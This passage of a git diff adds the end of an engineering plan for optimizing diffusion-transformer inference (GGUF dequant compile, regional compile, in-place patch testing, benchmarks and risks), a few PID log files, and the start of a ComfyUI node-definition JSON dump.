+GGUF dequant compile wrapper. +Fused-QKV transforms if selected. +Regional compile if selected. + +The reason to apply regional compile late is that the compiler should see the final call structure, including eager-patched operations and dequant wrappers. If tests prove this order breaks GGUF compiled dequant, test the reverse order and preserve the best one behind a narrowly named compatibility branch. + +4. Harden reversible patch infrastructure. + +Use a registry keyed by class object and patch name. Store original callables once. Reinstalling the same tier should be a no-op. Downgrading or disabling should restore exactly the original method when no other active tier requires the patch. Add explicit metadata such as installed model classes, active feature flags, and whether a patch is dense-only, GGUF-only, or shared. + +5. Revisit dense eager patches with model-specific candidate functions. + +For dense paths, evaluate these candidates independently: + +Ada modulation out-of-place replacement: +Use fused formulas such as `addcmul` where it reduces temporary tensors and has already shown 1-ULP behavior. + +Ada modulation in-place: +Only mutate fresh normalization outputs. Example conceptual rewrite: normalize into a fresh tensor, multiply by scale term in-place, then add shift in-place. Do not mutate source `hidden_states`. + +Residual gated add: +Prefer `add_` only when the residual target is not needed elsewhere and the operation is outside a compiled CUDA graph-sensitive boundary. Test `x.add_(gate * residual)` versus `x = x + gate * residual`; if `gate * residual` still allocates the dominant temporary, this may not help. + +Activation in-place: +Treat as experimental. Only use if the specific activation input is fresh and compiler/eager benchmarks show a win. GELU is less attractive than SiLU because module implementations and approximations vary. + +6. Build correctness tests before accepting each in-place candidate. + +For each target transformer family, run the original and patched block with identical randomized inputs covering: +Batch 1 and batch 2. +Small and realistic sequence lengths. +BF16, FP16, and FP32 where supported. +With and without text/context stream. +With modulation-index or noisy/clean-token branches where applicable. +With attention masks and RoPE/frequency inputs where applicable. + +Assertions: +No shape, dtype, device, stride, or memory-format regression unless intentional. +Output max/mean error within dtype-specific tolerance. +No input tensor unexpectedly changed unless the candidate explicitly allows mutation. +No returned tensor aliases a scratch buffer that will be reused. +No autograd requirement is introduced; inference mode remains clean. + +7. Build compile-safety tests. + +For every accepted eager/in-place patch, test: +Plain eager. +`torch.compile` on the block. +Regional compile on repeated blocks. +`max` with GGUF compiled dequant active. +Shape-stable repeated calls. +Shape-changed calls that should either reuse dynamic guards or recompile a bounded number of times. + +Record graph breaks and recompiles. Any patch that increases recompiles or disables CUDA graph capture without a clear latency win should stay out of `default` and likely out of `max`. + +8. Test compiled GGUF dequant composition directly. + +Use a small GGUF-backed transformer path and run four configurations: + +GGUF dequant compile only. +Regional compile only. +GGUF dequant compile then regional compile. +Regional compile then GGUF dequant compile. + +Pass/fail criteria: +Same outputs within quantized tolerance. +No crash during first compile. +No repeated recompilation across identical inputs. +No extra CPU fallback in hot path. +No material latency regression versus dequant-only `default`. + +If composition works, keep `max` as a true superset. If not, implement a targeted compatibility mode that preserves `max` semantics as much as possible, such as compiling the dequant op outside the regional block or disabling only the conflicting nested compile boundary, not disabling all default GGUF optimizations. + +9. Re-examine global reusable buffers as an experiment, not a default feature. + +Start by profiling whether per-forward allocation is a real bottleneck in diffusion DiT blocks. Collect allocation counts, peak memory, reserved memory, and latency with allocator warmup. If allocator churn is not visible, do not add global buffers to default or max. + +If profiling shows a real issue, prototype eager-only scratch buffers with strict constraints: +One buffer owner per active pipeline. +Keyed by device, dtype, shape, and role. +Never resized inside a compiled graph. +Never used for tensors returned to callers. +Invalidated on model unload, dtype change, device change, or resolution change. +Disabled automatically when regional compile is active unless compile tests prove it is stable. + +10. Compare manual buffers against compiler-managed buffers. + +Because `torch.compile` and CUDA graphs can already manage static addresses and memory pools, benchmark global buffers separately for: +Eager dense. +Eager GGUF. +Default GGUF compiled dequant. +Max regional compile. +Max regional compile plus compiled dequant. + +Expected result: global buffers may be neutral or harmful under `max`. If so, keep them opt-in/debug-only. + +11. Add acceptance benchmarks. + +Use representative image-generation calls rather than only synthetic block tests. Include: +Single prompt, fixed resolution. +Changed resolution. +Changed batch size. +Dense and GGUF. +Each speed tier. +Warmup excluded and included numbers. +Peak memory. +Compile cold-start time. +Steady-state tokens/steps per second or seconds per denoise step. + +Promote a candidate only if it has a consistent win or a clear memory benefit without correctness or compile regression. + +12. Document final behavior in runtime metadata. + +Expose which optimizations are active for the current pipeline: eager patches, compiled dequant, regional compile, TF32, fused-QKV, channels-last, global buffers if enabled. This makes support/debugging much easier and helps prove `max` is actually a superset of `default`. + +**(4) Potential Bugs Or Issues Worth Looking Into** + +In-place residual mutation may corrupt caller-visible tensors if a block input is also referenced by another branch, hook, adapter, debug capture, or later residual path. This is the highest-risk dense optimization. + +In-place modulation may accidentally mutate a tensor view. Broadcasted scale/shift tensors, chunked modulation outputs, and selected per-token modulation branches can produce non-contiguous or aliased views. Mutate only the fresh normalized activation, never the chunked modulation tensors. + +`addcmul` rewrites can silently alter rounding order. The existing 1-ULP finding is encouraging, but each model-specific formula still needs per-dtype tolerances and image-level checks. + +Activation rewrites can break approximate GELU semantics or FeedForward module assumptions. They may also be optimized away by Inductor already, producing no eager win and worse compile behavior. + +Regional compile can specialize on shape, stride, dtype, device, boolean flags, or optional inputs. Diffusion workloads vary by height, width, prompt length, batch size, guidance mode, and model-specific options, so recompilation control is essential. + +Compiled GGUF dequant inside a regionally compiled block may create nested compile conflicts, graph breaks, duplicate compilation, stale dequant buffers, or CPU fallback. This is the main `max`-as-superset risk. + +Applying fused-QKV after compilation may compile the wrong graph; applying it before capability checks may break custom attention processors or quantized projections. The transform order needs tests. + +TF32 global flags can leak outside the active pipeline if not restored. This can affect unrelated inference or training sessions in the same process. + +Channels-last conversion can be a no-op for transformer sequence tensors, or worse, can introduce layout conversions if applied indiscriminately. Limit it to compatible tensors/modules. + +Global reusable buffers can create cross-call data hazards if a second request starts before the previous CUDA work has completed, even with single-active-pipeline scheduling at the Python level. + +Global buffers can pin peak VRAM after a large resolution request and hurt later smaller requests unless there is a clear release/shrink policy. + +Global buffers stored as module attributes can become compiler guards or static inputs, causing recompilation when shape/device/dtype changes. + +Manual buffers may fight CUDA graph memory planning. PyTorch’s compiled CUDA graph path has static-address assumptions; mutated external buffers can cause CUDA graph skips or partitioning. + +Class-level monkey patches can stack if install is not idempotent, or restore the wrong method if multiple tiers install overlapping patches. + +Tier downgrades can leave stale compiled modules, fused projections, backend flags, or patched methods active unless teardown is explicit. + +LoRA/adapters may depend on projection module structure. Fused-QKV and in-place attention rewrites must verify adapter compatibility. + +Offload or device movement can invalidate buffers and compiled graphs. Any optimization cache must be cleared on device map changes, CPU/GPU offload transitions, dtype changes, and model unload. + +The final recommendation is to implement the tier restructure first, then promote only the already-proven eager patches into dense/default behavior, then run the GGUF dequant plus regional compile composition tests, and only after that revisit in-place residuals, activations, and global buffers as individually gated experiments. \ No newline at end of file diff --git a/logs/comfy7.pid b/logs/comfy7.pid new file mode 100644 index 0000000000..a0b0c984cd --- /dev/null +++ b/logs/comfy7.pid @@ -0,0 +1 @@ +425832 diff --git a/logs/comfy_cpu.pid b/logs/comfy_cpu.pid new file mode 100644 index 0000000000..510a61ba03 --- /dev/null +++ b/logs/comfy_cpu.pid @@ -0,0 +1 @@ +430027 diff --git a/logs/comfy_fast.pid b/logs/comfy_fast.pid new file mode 100644 index 0000000000..6fcc8de961 --- /dev/null +++ b/logs/comfy_fast.pid @@ -0,0 +1 @@ +801600 diff --git a/logs/object_info.json b/logs/object_info.json new file mode 100644 index 0000000000..dfebacb259 --- /dev/null +++ b/logs/object_info.json @@ -0,0 +1 @@ +{"KSampler": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model used for denoising the input latent."}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true, "tooltip": "The random seed used for creating the noise."}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000, "tooltip": "The number of steps used in the denoising process."}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01, "tooltip": "The Classifier-Free Guidance scale balances creativity and adherence to the prompt. Higher values result in images more closely matching the prompt however too high values will negatively impact quality."}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"], {"tooltip": "The algorithm used when sampling, this can affect the quality, speed, and style of the generated output."}], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"], {"tooltip": "The scheduler controls how noise is gradually removed to form the image."}], "positive": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to include in the image."}], "negative": ["CONDITIONING", {"tooltip": "The conditioning describing the attributes you want to exclude from the image."}], "latent_image": ["LATENT", {"tooltip": "The latent image to denoise."}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "tooltip": "The amount of denoising applied, lower values will maintain the structure of the initial image allowing for image to image sampling."}]}}, "input_order": {"required": ["model", "seed", "steps", "cfg", "sampler_name", "scheduler", "positive", "negative", "latent_image", "denoise"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "KSampler", "display_name": "KSampler", "description": "Uses the provided model, positive and negative conditioning to denoise the latent image.", "python_module": "nodes", "category": "model/sampling", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The denoised latent."], "search_aliases": ["sampler", "sample", "generate", "denoise", "diffuse", "txt2img", "img2img"]}, "CheckpointLoaderSimple": {"input": {"required": {"ckpt_name": [[], {"tooltip": "The name of the checkpoint (model) to load."}]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoaderSimple", "display_name": "Load Checkpoint", "description": "Loads a diffusion model checkpoint, diffusion models are used to denoise latents.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The model used for denoising latents.", "The CLIP model used for encoding text prompts.", "The VAE model used for encoding and decoding images to and from latent space."], "search_aliases": ["load model", "checkpoint", "model loader", "load checkpoint", "ckpt", "model"]}, "CLIPTextEncode": {"input": {"required": {"text": ["STRING", {"multiline": true, "dynamicPrompts": true, "tooltip": "The text to be encoded."}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "CLIPTextEncode", "display_name": "CLIP Text Encode (Prompt)", "description": "Encodes a text prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "search_aliases": ["text", "prompt", "text prompt", "positive prompt", "negative prompt", "encode text", "text encoder", "encode prompt"]}, "CLIPSetLastLayer": {"input": {"required": {"clip": ["CLIP"], "stop_at_clip_layer": ["INT", {"default": -1, "min": -24, "max": -1, "step": 1, "advanced": true}]}}, "input_order": {"required": ["clip", "stop_at_clip_layer"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "name": "CLIPSetLastLayer", "display_name": "CLIP Set Last Layer", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAEDecode": {"input": {"required": {"samples": ["LATENT", {"tooltip": "The latent to be decoded."}], "vae": ["VAE", {"tooltip": "The VAE model used for decoding the latent."}]}}, "input_order": {"required": ["samples", "vae"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "VAEDecode", "display_name": "VAE Decode", "description": "Decodes latent images back into pixel space images.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The decoded image."], "search_aliases": ["decode", "decode latent", "latent to image", "render latent"]}, "VAEEncode": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"]}}, "input_order": {"required": ["pixels", "vae"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncode", "display_name": "VAE Encode", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["encode", "encode image", "image to latent"]}, "VAEEncodeForInpaint": {"input": {"required": {"pixels": ["IMAGE"], "vae": ["VAE"], "mask": ["MASK"], "grow_mask_by": ["INT", {"default": 6, "min": 0, "max": 64, "step": 1}]}}, "input_order": {"required": ["pixels", "vae", "mask", "grow_mask_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "VAEEncodeForInpaint", "display_name": "VAE Encode (for Inpainting)", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VAELoader": {"input": {"required": {"vae_name": [["flux1_ae.safetensors", "flux2_ae.safetensors", "qwen_image_vae.safetensors", "zimage_vae.safetensors", "pixel_space"]]}}, "input_order": {"required": ["vae_name"]}, "is_input_list": false, "output": ["VAE"], "output_is_list": [false], "output_name": ["VAE"], "name": "VAELoader", "display_name": "Load VAE", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The width of the latent images in pixels."}], "height": ["INT", {"default": 512, "min": 16, "max": 16384, "step": 8, "tooltip": "The height of the latent images in pixels."}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096, "tooltip": "The number of latent images in the batch."}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "EmptyLatentImage", "display_name": "Empty Latent Image", "description": "Create a new batch of empty latent images to be denoised via sampling.", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The empty latent image batch."], "search_aliases": ["empty", "empty latent", "new latent", "create latent", "blank latent", "blank"]}, "LatentUpscale": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 8}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["samples", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscale", "display_name": "Upscale Latent", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent"]}, "LatentUpscaleBy": {"input": {"required": {"samples": ["LATENT"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "bislerp"]], "scale_by": ["FLOAT", {"default": 1.5, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentUpscaleBy", "display_name": "Upscale Latent By", "description": "", "python_module": "nodes", "category": "model/latent", "output_node": false, "has_intermediate_output": false, "search_aliases": ["enlarge latent", "resize latent", "scale latent"]}, "LatentFromBatch": {"input": {"required": {"samples": ["LATENT"], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "batch_index", "length"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LatentFromBatch", "display_name": "Get Latent From Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["select from batch", "pick latent", "batch subset"]}, "RepeatLatentBatch": {"input": {"required": {"samples": ["LATENT"], "amount": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["samples", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "RepeatLatentBatch", "display_name": "Repeat Latent Batch", "description": "", "python_module": "nodes", "category": "model/latent/batch", "output_node": false, "has_intermediate_output": false, "search_aliases": ["duplicate latent", "clone latent"]}, "SaveImage": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes."}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "SaveImage", "display_name": "Save Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save", "save image", "export image", "output image", "write image", "download"], "essentials_category": "Basics"}, "PreviewImage": {"input": {"required": {"images": ["IMAGE"]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "name": "PreviewImage", "display_name": "Preview Image", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "nodes", "category": "image", "output_node": true, "has_intermediate_output": false, "search_aliases": ["preview", "preview image", "show image", "view image", "display image", "image viewer"], "essentials_category": "Basics"}, "LoadImage": {"input": {"required": {"image": [["example.png"], {"image_upload": true}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImage", "display_name": "Load Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["load image", "open image", "import image", "image input", "upload image", "read image", "image loader"], "essentials_category": "Basics"}, "LoadImageMask": {"input": {"required": {"image": [["example.png"], {"image_upload": true}], "channel": [["alpha", "red", "green", "blue"]]}}, "input_order": {"required": ["image", "channel"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "name": "LoadImageMask", "display_name": "Load Image (as Mask)", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import mask", "alpha mask", "channel mask"], "essentials_category": "Image Tools"}, "LoadImageOutput": {"input": {"required": {"image": ["COMBO", {"image_upload": true, "image_folder": "output", "remote": {"route": "/internal/files/output", "refresh_button": true, "control_after_refresh": "first"}}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "LoadImageOutput", "display_name": "Load Image (from Outputs)", "description": "Load an image from the output folder. When the refresh button is clicked, the node will update the image list and automatically select the first image, allowing for easy iteration.", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "experimental": true, "search_aliases": ["output image", "previous generation"], "essentials_category": "Basics"}, "ImageScale": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "width": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}], "crop": [["disabled", "center"]]}}, "input_order": {"required": ["image", "upscale_method", "width", "height", "crop"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScale", "display_name": "Upscale Image", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": ["resize", "resize image", "scale image", "image resize", "zoom", "zoom in", "change size"], "essentials_category": "Image Tools"}, "ImageScaleBy": {"input": {"required": {"image": ["IMAGE"], "upscale_method": [["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]], "scale_by": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}, "input_order": {"required": ["image", "upscale_method", "scale_by"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageScaleBy", "display_name": "Upscale Image By", "description": "", "python_module": "nodes", "category": "image/upscaling", "output_node": false, "has_intermediate_output": false, "search_aliases": [], "essentials_category": "Image Tools"}, "ImageInvert": {"input": {"required": {"image": ["IMAGE"]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageInvert", "display_name": "Invert Image Colors", "description": "", "python_module": "nodes", "category": "image/color", "output_node": false, "has_intermediate_output": false, "search_aliases": ["reverse colors"], "essentials_category": "Image Tools"}, "ImageBatch": {"input": {"required": {"image1": ["IMAGE"], "image2": ["IMAGE"]}}, "input_order": {"required": ["image1", "image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "ImageBatch", "display_name": "Batch Images (DEPRECATED)", "description": "", "python_module": "nodes", "category": "image/batch", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["combine images", "merge images", "stack images"]}, "ImagePadForOutpaint": {"input": {"required": {"image": ["IMAGE"], "left": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "top": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "right": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "bottom": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "feathering": ["INT", {"default": 40, "min": 0, "max": 16384, "step": 1, "advanced": true}]}}, "input_order": {"required": ["image", "left", "top", "right", "bottom", "feathering"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "name": "ImagePadForOutpaint", "display_name": "Pad Image for Outpainting", "description": "", "python_module": "nodes", "category": "image/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["extend canvas", "expand image"]}, "EmptyImage": {"input": {"required": {"width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "color": ["INT", {"default": 0, "min": 0, "max": 16777215, "step": 1, "display": "color"}]}}, "input_order": {"required": ["width", "height", "batch_size", "color"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "EmptyImage", "display_name": "Empty Image", "description": "", "python_module": "nodes", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningAverage": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"], "conditioning_to_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning_to", "conditioning_from", "conditioning_to_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningAverage", "display_name": "Conditioning (Average)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["blend prompts", "interpolate conditioning", "mix prompts", "style fusion", "weighted blend"]}, "ConditioningCombine": {"input": {"required": {"conditioning_1": ["CONDITIONING"], "conditioning_2": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_1", "conditioning_2"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningCombine", "display_name": "Conditioning (Combine)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["combine", "merge conditioning", "combine prompts", "merge prompts", "mix prompts", "add prompt"], "essentials_category": "Image Generation"}, "ConditioningConcat": {"input": {"required": {"conditioning_to": ["CONDITIONING"], "conditioning_from": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning_to", "conditioning_from"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningConcat", "display_name": "Conditioning (Concat)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetArea": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 64, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetArea", "display_name": "Conditioning (Set Area)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["regional prompt", "area prompt", "spatial conditioning", "localized prompt"]}, "ConditioningSetAreaPercentage": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "x", "y", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentage", "display_name": "Conditioning (Set Area with Percentage)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetAreaStrength": {"input": {"required": {"conditioning": ["CONDITIONING"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaStrength", "display_name": "Conditioning (Set Area Strength)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ConditioningSetMask": {"input": {"required": {"conditioning": ["CONDITIONING"], "mask": ["MASK"], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "set_cond_area": [["default", "mask bounds"]]}}, "input_order": {"required": ["conditioning", "mask", "strength", "set_cond_area"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetMask", "display_name": "Conditioning (Set Mask)", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["masked prompt", "regional inpaint conditioning", "mask conditioning"]}, "KSamplerAdvanced": {"input": {"required": {"model": ["MODEL"], "add_noise": [["enable", "disable"], {"advanced": true}], "noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "steps": ["INT", {"default": 20, "min": 1, "max": 10000}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "sampler_name": [["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]], "scheduler": [["simple", "sgm_uniform", "karras", "exponential", "ddim_uniform", "beta", "normal", "linear_quadratic", "kl_optimal"]], "positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "latent_image": ["LATENT"], "start_at_step": ["INT", {"default": 0, "min": 0, "max": 10000, "advanced": true}], "end_at_step": ["INT", {"default": 10000, "min": 0, "max": 10000, "advanced": true}], "return_with_leftover_noise": [["disable", "enable"], {"advanced": true}]}}, "input_order": {"required": 